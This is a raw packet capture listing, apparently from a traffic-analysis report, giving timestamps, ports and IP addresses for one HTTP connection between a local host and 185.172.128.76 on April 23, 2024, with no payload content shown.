Apr 23, 2024 09:33:03.752934933 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.752957106 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.752958059 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.752994061 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.752995968 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.753010035 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.753026009 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.753026962 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.753041029 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.753046989 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.753057957 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.753063917 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.753074884 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.753082037 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.753091097 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.753102064 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.753107071 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.753123045 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.753123999 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.753139973 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.753146887 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.753154993 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.753171921 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.753173113 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.753189087 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.753196955 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.753201962 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.753215075 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.753222942 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.753249884 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.753309965 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.753323078 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.753350973 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.753372908 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.755882025 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.755897045 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.755908966 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.755924940 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.755937099 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.755949974 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.755954027 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.755961895 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.755975962 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.755981922 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.755989075 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.755994081 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.756011009 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.756030083 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.756033897 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.756062031 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.756118059 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.756129980 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.756143093 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.756155014 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.756159067 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.756172895 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.756180048 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.756210089 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.756220102 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.756232977 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.756253004 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.756257057 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.756267071 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.756278992 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.756283045 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.756293058 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.756308079 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.756314993 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.756328106 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.756330013 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.756355047 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.756377935 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.756386995 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.756398916 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.756423950 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.756438017 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.756472111 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.756484985 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.756496906 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.756509066 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.756511927 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.756520987 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.756535053 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.756558895 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.756572008 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.756584883 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.756608009 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.756629944 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.756633997 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.756647110 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.756670952 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.756685972 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.756695986 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.756712914 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.756736994 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.756753922 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.756762981 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.756774902 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.756798983 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.756814003 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.756834984 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.756849051 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.756861925 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.756871939 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.756875038 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.756886005 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.756908894 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.757016897 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.757034063 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.757045984 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.757060051 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.757085085 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.757085085 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.757097960 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.757108927 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.757119894 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.757122993 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.757136106 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.757145882 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.757177114 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.757200956 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.757211924 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.757222891 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.757236004 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.757240057 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.757247925 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.757255077 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.757261038 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.757277012 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.757280111 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.757288933 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.757304907 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.757311106 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.757323980 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.757324934 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.757338047 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.757347107 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.757350922 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.757366896 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.757390022 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.757482052 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.757493973 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.757504940 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.757517099 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.757524014 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.757529020 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.757540941 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.757550955 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.757553101 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.757564068 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.757567883 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.757576942 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.757590055 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.757595062 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.757601023 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.757612944 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.757623911 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.757627964 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.757637024 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.757646084 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.757647991 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.757658958 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.757659912 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.757672071 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.757683039 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.757683992 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.757695913 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.757707119 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.757707119 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.757720947 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.757725954 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.757734060 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.757741928 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.757745981 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.757759094 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.757771969 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.757797003 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.812047958 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.812069893 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.812083006 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.812093973 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.812114954 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.812125921 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.812138081 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.812144041 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.812144041 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.812150002 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.812161922 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.812175035 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.812186003 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.812196970 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.812208891 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.812213898 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.812213898 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.812221050 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.812232971 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.812244892 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.812251091 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.812251091 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.812257051 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.812295914 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.812295914 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.812305927 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.812508106 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.812521935 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.812531948 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.812544107 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.812551975 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.812551975 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.812553883 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.812565088 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.812577009 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.812587976 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.812597990 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.812601089 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.812601089 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.812612057 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.812623024 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.812634945 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.812634945 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.812634945 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.812649012 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.812660933 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.812684059 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.812685013 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.812757015 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.812768936 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.812779903 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.812791109 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.812796116 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.812797070 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.812803030 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.812813997 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.812839985 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.812839985 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.812911987 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.812923908 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.812935114 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.812947035 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.812948942 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.812948942 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.812958002 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.812992096 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.812993050 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.812999964 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.813076973 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.813093901 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.813106060 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.813117981 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.813119888 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.813119888 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.813129902 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.813160896 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.813168049 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.813168049 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.813277960 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.813288927 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.813302994 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.813313961 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.813314915 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.813313961 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.813327074 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.813338041 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.813349962 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.813349962 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.813349962 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.813363075 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.813374996 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.813395977 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.813395977 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.813396931 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.813436985 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.813436985 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.813452959 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.813564062 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.813575983 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.813591957 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.813601971 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.813601971 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.813699007 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.813710928 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.813721895 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.813734055 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.813738108 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.813738108 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.813745975 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.813757896 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.813782930 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.813782930 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.813837051 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.813874960 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.813874960 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.813927889 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.813940048 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.813951969 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.813992023 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.813992023 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.814002037 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.814013958 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.814026117 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.814037085 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.814048052 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.814054012 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.814054012 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.814062119 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.814073086 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.814085007 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.814095974 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.814100981 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.814100981 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.814107895 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.814146996 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.814146996 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.814156055 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.814213037 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.814249992 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.814249992 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.814316988 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.814330101 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.814341068 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.814352036 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.814378023 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.814378023 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.814393044 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.814424992 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.814424992 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.814440966 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.814691067 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.814728975 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.814728975 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.814740896 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.814753056 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.814789057 CEST	80	49704	185.172.128.76	192.168.2.5
